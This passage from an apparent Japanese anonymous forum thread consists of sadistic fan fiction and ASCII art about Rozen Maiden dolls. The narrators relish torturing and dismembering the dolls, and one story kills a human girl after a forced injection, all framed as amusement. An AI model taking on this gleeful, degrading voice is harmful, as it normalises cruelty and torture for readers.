   | | | ̄ ̄ ̄ | ̄ ̄ ̄| ̄ ̄ ̄ | | |    ファーーーーーーーーン
   | | |       |      |⊂=@=∩| | |
   | | |____|__ _ ( ・x・ ).| | |
   | ────────────..|
   |         -     -     JR.  |
   | _        __         _ |
   |_o___________○___.o_| ゴゴゴゴゴゴゴゴゴ
    ll゙''豆||豆''H {×ロ} H jj''||豆''゙ll
    ├─┘_'三三三三三'_└─┤
..   \_|________|_/
     ─//────\\─
    ─//──────\\─
  ─//────────\\─
. ─//───── ___ ──\\─
やめてくれですぅ  く/',二二ヽ>──\\─
たすけてくれですぅ |l |ノノイハ))───\\─
/────⊂´|||||||ノl_|リTДT)|────\\─

ドカシッゴボッグガガガガガガボガボ
ガココココココバキバキバキャキャキャ
ガコッガコッガコッガコッグゴゴゴゴゴ
グモッチュイーーンボゴゴゴゴゴ
ですぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅぅ

     .┌"" ̄〔二二二〕 ̄""┐
   ┌'"" ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄""┐
   |゙        .(○○).       ゙|
   |(7|7|4|M) l     l [上野]  |
   |..____________ |
   | | | ̄ ̄ ̄ | ̄ ̄ ̄| ̄ ̄ ̄ | | |
   | | |       |      |⊂=@=∩| | |ニコニコ
   | | |____|__ _ ( ^x^ ) | | |
   | ────────────..|
   |         -     -     JR.  |
   | _        __         _ |
   |_o___________○___.o_|
    ll゙''豆||豆''H {×ロ} H jj''||豆''゙ll
    ├─┘_'三三三三三'_└─┤
..   \_|________|_/
     ─//;;;;::......;;く/';;;;;;;;;;;;ヽ>....,,,,
    ─//リ゙々゚)──O;;,,::,,:,\\;;⊃
  ─//─────────\\─

38: ミーディアム@薔薇乙女:06/10/08 09:23 ID:pMHg.Two
同じ居候でも某猫型ロボットみたいに便利な道具で助けてくれる訳でもなく
某侵略宇宙人みたいに家事全般をこなす訳でもないからなぁ
はっきり言って邪魔なだけ

糞人形は何をやっても許されない。理由は糞人形だから。
糞人形に対しては何をやっても許される。理由は糞人形だから。

あ〜釘バットで糞人形をぶん殴って首っ玉吹っ飛ばしてやりてえ。
もっとも、首が飛んだ位じゃ糞人形は死なないだろうけどなw
首の取れた体だけでテケテケ歩き回るんじゃないか?
腹がよじれるほど面白い見せ物になること請け合い。
首 な し 呪 い 人 形 共 の テ ケ テ ケ 踊 り(ゲラ

39: ミーディアム@薔薇乙女:06/10/08 09:25 ID:pMHg.Two
「ゲシッ!」「イタイですぅ!」日頃のですぅ節と「おのれをしりやがれですぅ」
の図々しい暴言に堪忍袋の緒がキレた俺は、クソミドリをやつの鞄で思いっきりブッ叩く。
「ひぐぅぅ!か、鞄で暴力・・やめ・・ろ・です・ぅ」
殴りまくるのにも飽き飽きしてきた俺は、メッタ殴りで弱ってきたクソミドリに摑みかかると
頸と背中を押さえつけてうつ伏せに床に擦りつけると、両手両足を背中にまわして
束ねあげてくるくると縛りあげ、その縄尻を天井の蛍光灯の紐に括り付けた。
判る連中には、判るだろう。所謂、駿河責めといわれる拷問の縛りのスタイルだ。
宙吊りにされたクソミドリを5分ほど、何十回転もゆっくりと廻す。
そして手を離すと、回転で絡まったロープの反動でクソミドリが勢い良く
猛烈な逆回転を始めた。そうそう、これやってみたかったのさね!
「ぶぶぅぶるぅぶるぶるbるぅ!めめぶるぅ!めががめめめががまわわわwrぅぅでぇすぅうぅぅ!」
クソミドリを強烈な遠心力が襲う。回転と共にクソミドリのチャームポイントである
フカフカフリルのパニエスカートと二股おさげ髪がヒラヒラと舞い、
それに思わず見とれた俺は、面白がって数十回ほど、この反動回転責めを繰り返した。
このクズ人形でもまだ美的に魅了する要素があったとは。これであのクソ毒舌と
妙に恩着せがましい、かまってちゃん性格が矯正されれば、まあキラqバラよりは
格上にしてやったっていいがなw なんてことを考えながら、
俺は何度もクソ翠をクルクルとまわし、そよ風のエチュードのようなスカート&オサゲの舞を堪能した。
回転は暫く続き、クソミドリは次第に朦朧となる意識のなかで
だらしなく涎を垂らし始めた。そろそろ飽きてきた俺は、緩やかに回転がおさまるところを狙い、
朦朧としているクソミドリを満タン2リットルペットで力一杯ぶっ叩いた!
「びぃひhぃぐぐふっぅ!」「へへっ!もうぅいっちょうぉお!」バゴォッツ!
俺は両手の満タンペットでクソミドリをタコ殴りの往復ビンタにした。
殴られるたび、ぶひぐぅ!ぶべっつ!ぶげでぅすぅ!などと得体の知れない
阿鼻叫喚のハーモニーが最悪の楽しさだ。クソミドリの苦しむ様を眺めるのは
最高の快楽、ストレス発散になるのはこのスレ住人には言わずもがな、だよなあw
「へへへっ!そういや、往復ビンタなら、こいつのほうが面白れえw」
そういうと俺は天井で回転しているファンのハネを自慢の怪力で折り曲げ、
ハネが垂直になるようにすると、宙吊りのロープの長さを、クソミドリの眼前に
丁度ファンの刃先がくるように調節し、ファンのハネの間に翠星石の顔面をはさむように
ポジショニングした。そして空調ファンの電源をONにすると・・・・・
「ぶぶぶデスゥデスゥデスデスデスゥぶぶっぶうぶうぶぶうぶぶデスゥデスゥデスデスぶぶ
デスゥデスゥデスデスぶぶぶデスゥデスゥデスデスぶぶぶデスゥデスゥデスデスぶううぶぶぶっぶぶb
デスゥデスゥぶぶbbっぶぶぶぶっぶデスデスぶぶbbっぶぶぶぶっぶぶぶ・・・」
かくしてクソミドリの永久無限往復ビンタ・ショーの幕開けだ!
時折クソミドリが身体をよじらせ顔面がファンから外れるようにもがくので、
床に転がっていた鞄の取っ手に紐をくくりつけ、鞄ヌンチャクよろしく
振り回しながらクソミドリのボディにスマッシュヒットさせる。
顔面無限ビンタ・鞄によるメタ殴りのダブル虐待に、クソミドリの意識は遠のき・・
暫くすると顔面のビスクパーツに罅が入り始め、それからほどなく、
ピキッ!パリッ!と不気味な音と共に、クソミドリの頭部パーツは
ゆっくりと罅割れて砕けていき、30分後には無残な首無しドールとなったとさ。
粗大ゴミにすら出せないこのクソ人形の処理は、まあ燃やすしかないだろw
俺は再びこの首無しクソジャンクをクルクルと廻し始め、
勢い良く逆回転のところを狙い、スカートに火をつけた。勢い良く全身に燃え移り
回転火達磨と化すジャンク翠。その様を、悦に浸りながらXOを傾けつつ鑑賞する俺だった。

40: ミーディアム@薔薇乙女:06/10/08 09:26 ID:pMHg.Two
「さあ、第2ラウンドだ。まずお前のその汚い顔を叩き潰してやるぜ」
「殴られるのは嫌ですぅ!」
「おいおい、今までの仕打ちより殴られる方が嫌ってか?馬鹿言え」
「もう痛い目には遭いたくないですぅ!」
「うるせえな。さっさと黙らせるか・・・ってあれ?」
デュードはコート内を漁るがバットが出てこない。
「おっと、いけねえ。バットを忘れちまったぜ」
それを聞いて翠星石はほっとした。だがそれもつかの間。
デュードは部屋を見回し、コンクリートが一部剥げている部分を見て何か思いついた。
「お、あるじゃねえか。バットに匹敵するものがよ」
この部屋は2x4断面の角材で建造されており、それを室内からコンクリートで覆う形で構成されている。
デュードが覗きこんだコンクリートの壁に空いた穴からは、2x4角材が釘でがっしりと打ち付けられているのが見えた。
「こいつは使えそうだぜ」
そしてその2x4角材の一つを思いっきり力を入れて剥ぎ取る。
「どうだ?翠星石。バットなんかなくても殴るものはいくらでも用意できる。てめえじゃ絶対に思いつかねえ、人間様の知恵ってやつだ」
デュードの手には鋭く尖った釘が顔を出す2x4角材が握られていた。
それを持って翠星石に近寄っていく。
「い、いや、やめて・・・」
翠星石はぶるぶると震えている。
「ぶっ叩いてやるぜ!」
角材を振り上げ、翠星石の頬に渾身の一撃を与える。
「へっぶぇあ!」
翠星石の歯が何本か口から吐き出された。
さらにもう一発、今度は反対側から喰らわせる。あまりに力を入れすぎたので角材は折れてしまった。
「ッヘッヘッハッハァ!自慢の顔もこのザマだぜ!」
「も、もう殴らないでくださいですぅ・・・頭がおかしくなりそうですぅ」
「馬鹿言ってらぁ、俺は既にイカれてるんだ」
デュードは折れてしまった角材を投げ捨て、今度は洗面化粧台から伸びている水道管の一部を無理矢理剥ぎ取った。
「おら死ね!潰れろ!」
パイプを振り上げ、翠星石を殴打しまくる。
デュードはがむしゃらに振り回し、翠星石の顔、腹、足などにヒットする。
「きゃああ!痛いですぅ!っげほ!やめて!し、死ぬ!死んじゃうですぅ!」
「人形に死はねえんだよ!形容の仕方を間違えるんじゃねえ!」
デュードはさらに勢いを増し、翠星石の顔を集中して殴る。
「ぶへ!や、やめ、っぐをぇ!」
「ハッハッハ!人気だとかツンデレだとかで調子こいてんじゃねえぞクソがぁ!」
「っきゃ!頭が!頭がガンガンするですぅ!も、もう耐えられないですぅ!ああぁぁあぁ!」
「黙れっつってんだろうが!」
最後に頭にパイプを渾身の力で振り下ろした。
鈍い音とともに彼女の頭にヒビらしきものができた。
さらに天井から鎖が引きちぎれ、彼女は地面に落ちた。
デュードの持つパイプは捻じ曲がっている。
「流石に力みすぎたぜ」
そう言ってパイプを地面で横たわり、頭を押さえて蹲る翠星石に投げつける。
「ううぅぅああぁぁあああ!頭がぁぁあああ!」
「頭痛薬ならあるぜ?ここは医療施設だからよ」
デュードの持つ薬のビンを見て翠星石は彼のところまで這いずり寄った。
「お願いですぅ、デュード。薬を・・・この痛みを止めてくださいですぅ」

41: ミーディアム@薔薇乙女:06/10/08 09:29 ID:pMHg.Two
デュードの家、トレーラーハウスから喧しい騒音が聞こえてくる。
「どうだぁ?蒼星石ぃ」
蒼星石は天井から吊るされた鎖に縛られ動くことが出来ないでいた。
「うぅ、こんなことをしてどうするつもりだ!」
「テメエの生意気な姉じゃ飽きちまってさ。次は従順なやつをブチのめそうと思ってな。ほら、俺って何も出来ないクズ殺すの得意だし」
「僕を殺すつもりなのか!」
デュードからは返事は返ってこない。代わりに薄気味悪い笑みを浮かべた。
その表情から、彼は明らかに自分を殺すつもりだというのが理解できた。
「っく!レンピカ!」
人工精霊の名を呼ぶが現れる気配は無い。
「レンピカ?」
「ああ、あの奇妙な光ね。あれ土の中に埋めたから」
「そんな!返してよ!」
「うるせえんだよカスが!」
困った顔をして強請る蒼星石。そんな顔を見ると無性にイライラするデュードであった。
「テメエの姉が俺様からどんな仕打ちを受けたのか知ってるだろ?それを今から体で覚えさせてやるぜ!」
すかさず釘バットを取り出し、翠星石の腹に一発ブチかます。
「っげあ!」
さらにバットを構え
「まだ真で捉えてないぜ!俺様のバッティングはタイ・カッブ並のミートと!」
衝撃で声も出ない蒼星石の顔面に向かってバットの真芯でインパクト。
「ベーブ・ルース並のパワーがあるんだぜ!」
バットで叩きつけられ鈍い音がすると、インパクト時の衝撃で鎖が引き千切れ、蒼星石は壁に吹っ飛んで叩きつけれた。
デュードはバッドの先を蒼星石に突きつけ、ベーブ・ルースのホームラン宣言のような構えをした。
「ナーイスバッティーング!こいつは飛んだぜ!」
「もう、止めてよ・・・」
苦しそうな顔をして助けを請う蒼星石のその顔を見ると、余計に壊したくてたまらないという衝動に駆り立てられるデュード。
「そんな顔するなよ。余計に殴りたくなっちゃうぜ!」
横たわる蒼星石に向かって釘バットで殴打しまくる。
蒼星石は小さな悲鳴を上げながら、必死に耐えた。

十分経ってもデュードの執拗な暴力行為は止まらない。
「ヘッヘッヘ!こいつはすげえ楽しいぜ!」
容赦ないバットでの攻撃は、蒼星石の体を壊していく。
顔面は何度も叩かれ、右目が飛び出しかけている。
「はあはあ、少し疲れたな。休憩だ。パイプ吸わなくちゃ」
デュードは腰を下ろし、パイプを吹かして一服する。
「ふう、労働の後のこいつはたまんねぇぜ」
デュードが気持ちよさそうな顔をする一方で、蒼星石は体を痙攣させながら飛び出しかけた右目でデュードの方を見ていた。
「どうして・・・こんな酷いことを・・・」
「ああ?気持ち悪ぃんだよそんな目玉出しやがって。引っ込めろ!」
デュードは蒼星石の飛び出した右目に向かってキックした。
彼女の目玉は奥へ引っ込むと同時にグシャリと音を立てて潰れた。
「あああぁぁぁぁああ!目がぁ!目が痛いよぉおおお!!!」
「片目だけじゃ不似合いだ。両目とも潰さないとな」
デュードは蒼星石の目の前でコンクリートハンマーの刃先を回転して見せた。
「嫌だ!やめてよ!そんなのを入れられたら潰れちゃうよ!」
そこでデュードは、少し悩んだ。
このまま両目とも潰すのもつまらねえな。うーん、よしあれを見せてやるか。
「それもそうだな。とりあえずこいつは何だと思う?」
デュードが持ち出したのはローゼンメイデンのドールが眠るものと全く同じ鞄。
「それは!僕達の眠る鞄!どうするつもりなんだ!」
「聞いて驚くなよ?こいつの中では翠星石が眠っている。ぐっすりと夢を見ているところだ。さて俺はこいつをどうすると思う?」
鞄を置くと、デュードは日本刀を振り上げ、今にも鞄を真っ二つに切り捨てようとしていた。
「待って!そんなことやめてよ!どうして翠星石が!」
「さあな。だがこいつではいろいろと遊ばせて貰ったぜ。起き上がれないほどブチのめしたり、バラしたり、陵辱したり・・・」
「やめて!そんな話聞きたくない!」
「ほう。それじゃ本題に入ろうか。お前の答えようによってはこいつをしばらく生かしてやってもいい」
「本当?」
「まだ話の途中だろうが!口答えすんな!」
デュードは蒼星石の腹に蹴りを入れた。
「その方法ってのは、お前が死んで翠星石が死ぬか、その逆かだ。さあ選べよ。時間は三十秒だ」
あまりに極端な選択権。蒼星石は即座に答えを出すことができなかった。
「そんな・・・条件が悪すぎる・・・」
「いいか?お前に与えられるのは俺が下したことから選ぶことだけだ。それ以外に意思表示をする権限はねえ。そんな価値のあるやつはここにはいねえんだよ」
翠星石のことも大事だが、自分を先に殺せとは言えない。
ならばなんとかこの状況を打破しなければ・・・そう考えるが、自分よりも数倍頭のキレるデュードから逃れる良い案はどうやっても思いつかない。
考えれば考えるほど短い時間は過ぎていく。蒼星石の頭は破裂しそうだった。
「タイムアウト!じゃあ翠星石は殺すぜ!」
デュードは刀を振り上げる。
「あ!待って!やめて!やっぱり僕を!」
だがもう遅かった。刀は振り下ろされ、翠星石は鞄ごと真っ二つにされた。
「うわあああああ!!!翠星石ぃ!」
目の前で蒼星石を真っ二つにされ、放心状態になった蒼星石にデュードは一通の手紙を見せた。
「こいつはたびたびお前に対して手紙を書いていたみたいだぜ」
「す、翠星石が?」
「ああ。だがテメエみたいなゴミクズには読ませる価値もねえ」
そう言ってデュードはその手紙を開封せずに破り捨てた。
「ひどい」
「言ったろ?てめえに決定権はねえ!すべては俺様が握ってるんだよ!」

42: ミーディアム@薔薇乙女:06/10/08 09:33 ID:pMHg.Two
俺はたまたま水銀燈とかいうジャンクドールを見つけた。
どこか冷たい視線、バランスのとれたボディ。こいつは殺すにはいい人形だぜ〜!
「おまえが水銀燈・・・か?」
と、俺は水銀燈の肩に手を掛けた。
「汚らわしい。触らないでよ」
だがすぐに跳ね除けられてしまった。
へえ、威勢があっていいじゃねえか。
それじゃ俺流でいかせてもらうぜ〜
まずはスコップで頭をグシャ!
そして顔面に突き刺しまくる!ッグッシャグッシャ!
「い、いたぁい!何するのよ!」
うるせえ!ショットガン喰らえ!
水銀燈の腹に5発ぶち込んでやった。
「っぐう・・・」
そして腹に思いっきり蹴りを入れてやる。
オラオラ!さっきの威勢はどうしたぁ?
羽も切り落としてやるぜ!両羽を包丁で切り取ってやった。
「いやぁ!やめてぇ!お父様から頂いた大事な体が!許さないわよイカれたオヤジ!」
何だって?ちょっと今のは頭にきたぜ。
衣類を全部剥ぎ取って鎌で腹を切断してやるぜ!シュビーン!
「ああああ!お願い!やめてぇ!もう、これ以上傷つくのはイヤ・・・」
知るか!ここでは俺が法律だ!そして気に入らないやつは裁かれる!単純でいいシステムだろ?w
トドメいくぜ!ブーメランナイフ!
投げたナイフが胸のあたりを突き破り、戻ってくる拍子に首を吹っ飛ばした。
宙に浮いた首を着庭する前にキーック!ナイッシュー!どこかへ飛んでいっちまったぜ!
イカれたオヤジと呼ばれて、人がどんな気分になるかわかってんのか!?

43: ミーディアム@薔薇乙女:06/10/08 09:35 ID:pMHg.Two
俺が楽しくパソコンをしてると、いきなり画面から黒い人形が現れた。
またお前か!つーか何しやがる!
「昼間っからそぉんなことばっかりやってるからあなたはダメ人間なのよぉ。
少しはこの水銀燈を見習いなさぁい、おばかさぁん。」
誰がばかだって?
しわくちゃババァで性格ブスな粗悪品ジャンクドールが笑わせるぜ!
大体喋り方が気色悪ぃんだよ!
その上楽しみを妨害され頭に来た俺は、手始めにこの皺ドールの顔面をぶん殴ってやった。
「いたい!!いきなり何するのよぉ!」
うるせぇ!腐った性根を不細工なツラもろとも叩き潰してやる!
バキッガンッゴキッドスッゴッッ……
「ひぅっ、いた、あ、ひぃ…やめへ…ぎゃっ、あっ、うげぇ、がっ…ぶふぅ…」
とにかく殴る。30分くらい殴り続け、顔はもはや原型を留めていない。
次に背中から生えている黒い翼を、手で無理矢理ひぎちぎってやった。
「ぎゃあああああああああああああああああああ!!!!」
ブチブチッ!と音がした。どうやら神経があったようだ。
そして邪魔な服を破り捨てると、出来損ないの部分が露になる。
「や…は…っ…やめ……見な、ひで………」
激痛と屈辱で涙と鼻水と涎を垂れ流している。汚い奴だ。
ゲロみたいに汚くて恥ずかしい姿を写真に取ってお前の大事なゲロ女に見せてやるよ。
そう冥土の土産に言ってやったら、奴はさらに泣いた。
あとはチェーンソーで粉々にするだけだ。
「ぁあ…あ、あああああああガガガガガガガガガガガガガガガガガガガガガガガガ」
断末魔の声は機械音にかき消された。
じゃあな水銀燈。

44: ミーディアム@薔薇乙女:06/10/08 09:36 ID:pMHg.Two
めぐは窓を眺めていると、また彼女がやってくるのを感じた。
「あら、水銀燈。また来てくれたのね」
そう言って細く微笑むめぐ。
「いつも来ると思ったの?どうせすぐ死んじゃうのに」
相変わらずの態度だ。
「今日はね、私のために精神カウンセラーの先生が来てくれるらしいの。頭に異常がないかって。私は大丈夫なのに馬鹿みたい」
ドアをノックする音が聞こえる。それを聞いて水銀燈は飛び去ろうとする。
「それじゃ私はもう行くわ」
飛び立とうとする水銀燈だが、急に足が引っ張られる感じがした。
「待って。今日の先生はあなたのこと知ってるらしいの。ちょっと見せてあげてよ」
「私のことを・・・知ってる?」
疑問に思いながらもめぐのためだと思いそこに留まった。
そしてドアが開く。
「めぐちゃ〜ん、浣腸の時間ですよ〜」
「え?」
めぐは驚いた。そこに現れたのは茶色のコートを着用し、サングラスをかけた男だった。
手には注射器を持っている。
「あなた、誰?」
「俺はデュード様だ。とりあえずあんたはこれでも喰らっときな!」

そう言ってめぐの体を持ち上げて尻の穴に注射を差し込む。
「きゃああああ!何するの!」
「ガキはこれで黙ってろ!俺はこの人形に用があるんだ!」
注射を打ち込んですぐ、症状が現れた。めぐは痙攣し始めた。
水銀燈は唖然としていたが、すぐに我に返った。
「ちょっと!めぐに何をしたの?すぐに元に戻さないとこの水銀燈が許さないわよ!」
「ああ?俺に怖いものなんてねえよ!」
そう言って水銀燈の腹部に蹴りを入れる。
「っぐ!」
「いてえか?ならもっと食らわせてやるよ!」
何度も何度も腹部を蹴られる水銀燈。
「まだまだ!今度はこいつだ!」
デュードは釘のついた金属棒で水銀燈を殴打しまくる。
「痛い!痛い!お願い!やめてぇ!」
「おぉ?いつもは気の強い水銀燈が今回ばかりはよがってるぜ!ひっひっひ!」
「っく!ふざけるのも・・・っきゃ!」
「減らず口叩けるのも今のうちだぜ水銀!」
ナタを取り出したデュードは水銀燈の羽を切り始めた。
「や、やめて!お父様から頂いた大事な体が!きゃああああああああ!!!!」
「っへっへっへ!もう片方も切り落としてやるぜ!そっちのほうが綺麗だろ!」
そして両方の羽は切り落とされた。
「うう・・・お、お父様・・・体が・・・う、っぐす・・・」
とうとう泣き始めてしまった。
「お父様お父様うるせえよ!クズが!手足切断してやるよ!」
今度は肉切り包丁で水銀燈の手足を切断した。胴体だけでもがく彼女。
「ぎゃあああ!!痛い!やめて!う・・・ぐええええ!」
そこへデュードの放尿が襲い掛かる。
「ぁぁぁあああ・・・たまんねえ〜」
最後まで出し切ってチャックを閉めるとデュードは水銀燈に問う。
「さて水銀燈、お父様かこのめぐってガキか、どっちかを選べ。選ばれなかったほうを殺す」
まさに究極の選択だった。
「そんな・・・」
めぐは注射を刺されて虫の息だ。そんな彼女を見ていると水銀燈は胸が痛くてたまらなかった。そして
「お願い!めぐを!めぐを助けて!」
デュードはニヤリと笑った。
「オーケー。ガキを殺せば良いんだな!お前が選んだ答えだ。文句は言わせねえぜ!」
「何を言ってるのよ!話が違うじゃない!ちょっと!やめて!あああああああ!!!」
水銀燈の目の前でめぐの首が切り落とされた。切り口からはピューピューと血が噴出している。
「うう・・・めぐ・・・私は・・・すべてを失ってしまった・・・」
「そして今からてめえは死ぬ!あばよ!」
デュードは水銀燈の頭をスレッジハンマーでカチ割った。
グシャリと爽快な音を立てて彼女の頭は砕け散った。
「さあて仕事完了。帰るとするか。だが水銀燈、まだ終わりじゃないぜ!」

To Be Continued

45: ミーディアム@薔薇乙女:06/10/08 09:36 ID:pMHg.Two
それはnのフィールドで彼女が少年と出会う前のことだった。
「暗い・・・ここは・・・どこ?」
目覚めると真っ暗な世界にいた。
先程疲れて倒れこんだことまでは憶えているが・・・。
すると暗闇の中から小さな明かりが見えた。それはマッチ棒であり、ぼんやりとそのマッチ棒を持つ手も見えた。
「あなたは・・・誰?」
「俺か?俺は・・・」
マッチ棒の明かりでその持ち主の顔が見えた。
「俺は死神デュード様だ!」
途端に周りに何本もの蝋燭が現れ、火が灯る。
「っひ!で、デュード?一体誰?」
水銀燈はその男に怯えながら問いかける。深層心理が具現化するこの世界では、彼女の本質が露骨なまでに露になる。
そう、本当は臆病な彼女を。
「俺はお前の命を奪いに来たんだよ。ローザミスティカじゃねえ。存在そのものを消すためだ」
「嫌よ!私はまだ・・・お父様!めぐ!」
最愛の人の名を呼ぶが何の解決にもならない。
「ああ、そうそう。そのめぐって子。俺が殺しておいたぜ」
その言葉を聞いて水銀燈は一瞬凍りつく。
「え?今なんて?め、めぐを殺した?嘘よ!嘘に決まってる!ねえ嘘でしょ!」
水銀燈はデュードの服に掴みかかった。
「きたねえ手で触るんじゃねえよ!ジャンクが!俺はそのお父様とやらの命令で来てやってんだありがたく思え!」
デュードは水銀燈を蹴り飛ばした。
「っきゃ!うう・・・めぐ・・・死んだなんて・・・嘘よ!」
ついに泣き出してしまう。
「ッハ、おめえあいつのこと嫌ってただろうが。だから俺は殺してやったんだよ。ホラ」
彼は風呂敷に包まれたある物体を水銀燈に投げつけた。
「こ、これは?」
「開けてみろよ。俺からのプレゼントだ。ヒッヒッヒ」
水銀燈は恐る恐るその風呂敷を広げる。そして
「!?」
出てきたのは何物かの生首だった。
「いやああああああああ!!!めぐぅ!」
「お見事!大正解だぜ!きっと喜ぶと思っていたぜ!」
生首といっても焼け焦げており、このままではこの生首がめぐという人物のものなのかすら断定できない。
だが何度か出会っている水銀燈にはそれがめぐという子のものということが直感でわかるのだろう。
「さあて水銀燈!次はお前の番だぜ!」
「い、いや・・・来ないで・・・」
水銀燈に迫り来る黒い影。それが彼女の恐怖心を擽る。
と、そこでデュードの足が止まった。
「っち、邪魔が入りやがった。次に夢の世界で会うまでおさらばだ。期待して待ってな!」
デュードは不適な笑みを浮かべてまた闇の中へ消えていった。
一人残された水銀燈。傍らにはめぐとやらの首も転がっている。
「ううう・・・めぐ・・・私のせいで・・・」
彼女はその首を抱いて涙を流すのだった。

46: ミーディアム@薔薇乙女:06/10/08 11:25 ID:pMHg.Two
糞苺の頭部にアイスピックを突き刺して穴を開け、
そこから空っぽの頭の中に濃硫酸を満たす
「いぎゃああああああああ痛いのーーー!あたまいたいのーーー!!」
硫酸が糞苺を内部からじわりじわり蝕んでいく、
呼吸をする度、体を揺らす度に激痛がはしる
「いたいのおおお!!いたいのおおおお!!!」
・・・お前のことなんか知るか、黙ってろカス苺が
「いだあ゛あ゛いだあ゛あ゛!!!」
人の目も気にせず、己の自我を剥き出しにして騒ぐ糞苺は本当に醜い
「あ゛あ゛ー!!う゛う゛ーー!!」
・・・頭がいかれたらしい、まあもともと腐ってはいたがw
「う゛ーーー!!う゛ーーー!!」
うるさいので、糞苺の鼻の穴の中に割り箸を突っ込む
「う゛?」
困惑する糞苺
次の瞬間、俺は糞苺の鼻の穴の割り箸をおもいっきり殴りつけた
ぐにゅ
割り箸が糞苺の鼻の奥にめり込む
「う゛!!!!」
糞苺は倒れこむ
うつむいてピクピクと体を震わせている
「・・・・・」
ふぅ・・・ようやく黙ったか、今度騒いだらこんなもんじゃすまないからな
ようやく顔を上げた糞苺は鼻を押さえ、苦悶の表情を浮かべている
「あ゛ー・・・」
俺は糞苺の顔面に唾を吐き部屋を後にした

「あ゛ー・・・」
・・・まだうるさいな、完全に黙らせてやろうか
俺は倉庫から金属バットを取り出してきた
このバットはトレーニング用に特別重く作られたものだ
おそらくこれで殴られれば屈強な成人男性でもひとたまりもないだろう
部屋へ戻ると、糞苺はもともと醜い顔をさらに歪ませて泣いていた
その顔が、声が、仕草が俺を苛立たせる
俺は持ってきたバットを強く握り締め、
野球のスウィングの要領でおもいきり糞苺のこめかみを殴りつけた
「!!!!!」
ぐしゃという鈍い音とともに糞苺は地面に叩きつけられた
よほど痛かったのだろう、頭をかかえうずくまっている
・・・ははは、いい気味だ
「あ゛・・・」
しばらくして糞苺は震えながらゆっくりと顔を上げる、
今自分に何が起こっているのか分からないといった表情だ
糞苺の襟首をつかみ再度地面に叩きつけ、後頭部をバットで二回殴りつけた
俺の心臓は破裂しそうなくらいの速さで鼓動していた
バットを放り投げ、俺は糞苺の腹の上に馬乗りになる
「あぅ・・・ひっ・・・ひ・・・」
恐怖でひきつる糞苺の顔
俺は黙ったまま拳に力を込め糞苺の顔面を何度も殴打した
一回・・・二回・・・三回・・・
「あ・・・ひぅる・・はひ」
・・・ああ何度見ても腹が立つ顔だ
鼻の頭、目玉、顎と狙いを定めて力いっぱい殴る
・・・糞が
「う゛・・・」
顎が破壊されはっきりと言葉が発音できないらしい
「あ゛・・・か・・・」
しかし俺は糞苺を殴り続けた
・・・こいつを黙らせるまでは


もう五十回は殴っただろうか
頭が陥没し、顔もぐちゃぐちゃに変形して、もはや誰だか判別できないほどになった糞苺の顔
顔中の塗料が剥げ落ち、涙だかよだれだか鼻水だか汗だか分からない液体でべとべとになっていた
まったく汚らしい餓鬼だ
ガクガクと震えているが、もう声も出せないらしい
俺は糞苺の足をつかむと鞄の中に乱暴に投げ入れて、鞄にしっかりと鍵をかけた
「お前はこの中から出てはダメだ」
そう鞄の中の糞苺にも聞こえるようにはっきりと言ってやった後
窓から下にある粗大ごみに向けて鞄を投げ捨てた

・・・あーさっぱりしたさっぱりした

         終わり


47: ミーディアム@薔薇乙女:06/10/08 12:33 ID:pMHg.Two
                       ,lヽヘ/ヽ
        あ"んま"ー      <     へ
  ,',i><iヽ            .;*∵ / ノlノ^^ノノリ>、 ギャーーーーー!
  /((ノ。リノ))  ギョイーーーン   ';∴+ ヾcリ口Д口ゝ
 〈《(# 々゚ノ)_ ,、,、,、,、,、,、,、  (ll^Y^l)  :;.:*;;.゚;・.
 / つ|匚) 巛|}三三三三)》  |._ハ_.|
 しー‐J    ^^^^^^^^^  ゝ' ゝ'

.                 .;*∵    ,',i><i,lヽヘ/ヽ
               :;.:*;;.゚;・   /((ノ。リ<     へ ムチャムチャ
.               (ll^Y^l)  〈《(*;々:;/ ノlノ^^ノノリ>
                |._ハ_..|  / つ:ヾcリ口Д口ゝ
                ゝ' ゝ'  しー;ノ  :;.:*;;.゚;・.


                   ,',i><iヽ
                   /((ノ。リノ))
                  〈《(* 々゚ノ)
                  /,   つ
                 (_(_, )   
.                ,,,,,,,,, しし'
               (ll^Y^l) 
                |._ハ_..| 
                ゝ' ゝ'  

.                   ∬
                     人.   
.                   (;:;:;)    n   ,',i><iヽ
                  (;:;:;:u:;)  (∃、/((ノ。リノ))
                 (;:u;:;::;:;:;)  ヽ 〈《(* 々゚ノ)つ うぃうぃ〜
                 (ll^Y^l)    〉     /
                  |._ハ_..|   (_(_   /
                  ゝ' ゝ'     し ヽJ

  ヽ、   _ノ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
     `'ー '´  
    ○
   O
   o _
   ,',i><iヽ
  /((ノ。リノ))   
ヽ〈《(* 々゚ノ) ノ   
(( ノ( 夲 )ヽ ))
   <-─->

         キモい妄想してんじゃねぇ!>
      ,',i><iヽ   ドスッ  
   ∩ /((ノ_リノ ̄ ̄`ヽ、―ニ  
   ヽ〈《(*/ ´`ヽ _  三,:三ー三,:
    ノ .ノヽ--/ ̄ ,    `   ` ̄ ̄ ̄
   .(  }.  ...|  /!        
    \ }、ー‐し'ゝL _      
      \_jr--‐‐'´}    ;ーー------
        `ヾ---‐'ーr‐'"==


            くたばってろ糞苺!>
  ,',i><iヽ
  /(;:;ノ。リノ))
 〈《(*;:々`ノ)  うぃ・・・
  /:;つ;:;;:;つ
 (:;::⌒)ノ
  し' ヽ_)

48: ミーディアム@薔薇乙女:06/10/08 12:34 ID:pMHg.Two
クレヨンを使ったいたずらが二度と出来ないよう、罰として、

ガタガタ震えて泣きながら赦しを乞うクソ雛苺を無理やり押さえつけて、

その小さな小さな両手首を大根おろしですりおろしてやる。

「ごめんなさいなの〜」、「もうしませんなの〜」、「ゆるしてなの〜」

すっかり怯えきった表情でそう言っていたクソ雛苺。

体罰中は「いいいたいのおおおお〜」、「うぎゃあああ〜」と泣き叫んでいたクソ雛苺。

しかし、いざ体罰が終了して両手首がなくなってしまえば

「このやろうなの〜」、「おまえ、ゆるさないの〜」、「しねなの〜」

と半狂乱になってわめき出す始末。まさに強情なる事この上なし。

クソ雛苺には「真摯な謝罪と反省」という事が絶対にないのだ。

だから体罰がやむ事も決してあり得ない。無限に続く体罰の日々。


手首を失った雛苺はどうやって過ごすのか?
